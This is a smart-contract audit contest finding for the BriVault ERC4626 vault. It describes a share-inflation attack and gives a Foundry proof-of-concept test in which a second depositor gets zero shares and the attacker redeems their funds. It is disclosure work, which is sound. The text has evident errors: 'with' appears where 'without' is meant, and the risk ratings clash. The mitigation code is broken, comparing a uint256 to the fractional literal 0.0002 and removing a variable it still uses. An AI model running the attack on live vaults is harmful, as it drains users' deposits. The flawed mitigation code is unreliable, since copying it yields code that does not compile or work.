BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Inflation attack in deposit allows manipulation of shares for subsequent users

fredo182

Inflation attack in deposit allows manipulation of shares for subsequent users

Description

An ERC4626 vault mints shares proportional to a depositor's assets, vault accounted assets, and total supply.

shares = assets * totalSupply / totalAssets

This guarantees fair share allocation regardless of incidental token transfers to the vault.

In BriVault, the conversion uses the raw token balance of the vault when calculating shares. An attacker can increase the raw balance by sending tokens directly to the vault with minting shares. The inflated balance is then used to compute shares for later depositors, causing those depositors to receive fewer shares than they should.

Risk

Likelihood: High
The condition occurs any time an actor transfers tokens directly to the vault with calling deposit().

Impact: Low
The impact of the attack depends on the minimum deposit amount. For tiny amounts or when the minimum limit is set to zero, the impact is high and can even cause the next depositor to get zero shares. However, when the minimum limit is reasonable, the attacker needs to transfer an astronomical high amount to cause disruption so the impact is low or none.

Proof of Concept

Given the protocol allows a configurable minimum amount without boundaries, for the next test case it is set to zero to demonstrate high impact with the second depositor getting zero shares.

function test_inflation_attack() public {
assertEq(briVault.minimumAmount(), 0);
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 1);
briVault.deposit(1, user1);
vm.stopPrank();
assertEq(briVault.balanceOf(user1), 1);
assertEq(briVault.totalAssets(), 1);
assertEq(briVault.totalSupply(), 1);
​
vm.prank(user1);
mockToken.transfer(address(briVault), 1 ether);
assertEq(briVault.balanceOf(user1), 1);
assertEq(briVault.totalAssets(), 1 ether + 1);
assertEq(briVault.totalSupply(), 1);
​
vm.startPrank(user2);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(1 ether, user2);
vm.stopPrank();
assertEq(briVault.balanceOf(user2), 0); // User2 receives zero shares due to the inflation attack
assertEq(briVault.totalAssets(), 1 ether + 0.985 ether + 1);
assertEq(briVault.totalSupply(), 1);
​
assertEq(mockToken.balanceOf(user1), 18.999999999999999999 ether);
vm.prank(user1);
briVault.redeem(1, user1, user1);
assertEq(mockToken.balanceOf(user1), 19.9925 ether);
assertEq(briVault.totalAssets(), 0.9925 ether);
assertEq(briVault.totalSupply(), 0);
}

Recommended Mitigation

The protocol already provides a minimum deposit amount parameter which is configured during deployment. By accident it can be set to zero or something very small, so ensure that there is a minimum acceptable amount validation.

constructor(
IERC20 _asset,
uint256 _participationFeeBsp,
uint256 _eventStartDate,
address _participationFeeAddress,
uint256 _minimumAmount,
uint256 _eventEndDate
) ERC4626(_asset) ERC20("BriTechLabs", "BTT") Ownable(msg.sender) {
if (_participationFeeBsp > PARTICIPATIONFEEBSPMAX) {
revert limiteExceede();
}
​
+ if (_minimumAmount < 0.0002) {
+ revert("Enforce minimum deposit amount");
+ }
​
participationFeeBsp = _participationFeeBsp;
eventStartDate = _eventStartDate;
eventEndDate = _eventEndDate;
participationFeeAddress = _participationFeeAddress;
minimumAmount = _minimumAmount;
_setWinner = false;
}

Additionally, use internal accounting when calculating the amount of shares

// Update on deposit & cancel
+ uint256 public totalDepositedAmount;
...
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
​
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets;
}
​
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ shares = Math.mulDiv(assets, totalShares, totalDepositedAmount);
}

totalDepositedAmount increases with the amount deposited via deposit() function.

Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!